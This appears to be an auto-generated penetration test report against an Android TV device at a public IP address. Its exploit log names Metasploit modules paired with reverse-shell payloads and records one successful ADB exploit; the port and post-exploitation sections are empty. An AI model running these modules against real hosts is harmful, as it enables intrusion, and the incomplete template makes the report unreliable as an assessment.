

Auto-Pen Penetration Test Report

Date: 2025-05-19

1. Scan Results

Target: 85.204.70.116

- **OS:** Android TV OS 11 (Linux 4.19)
- **Open Ports:**

2. Exploit Log

```
212.56.53.108 - exploit/linux/antivirus/  
escan_password_exec with linux/x86/meterpreter/reverse_tcp  
212.56.53.108 - exploit/android/local/futex_requeue with  
generic/shell_reverse_tcp  
212.56.53.108 - exploit/android/local/futex_requeue with  
generic/shell_reverse_tcp  
85.204.70.116 - exploit/android/adb/adb_server_exec with  
generic/shell_reverse_tcp  
85.204.70.116 - exploit/android/adb/adb_server_exec with  
generic/shell_reverse_tcp
```

3. Successful Exploits

- 85.204.70.116 - exploit/android/adb/adb_server_exec (generic/
shell_reverse_tcp)

4. Post-Exploitation Findings

5. Recommendations

It is strongly advised to patch outdated software, close unused ports, and monitor any signs of intrusion. Prioritize CVEs identified in this test for remediation.
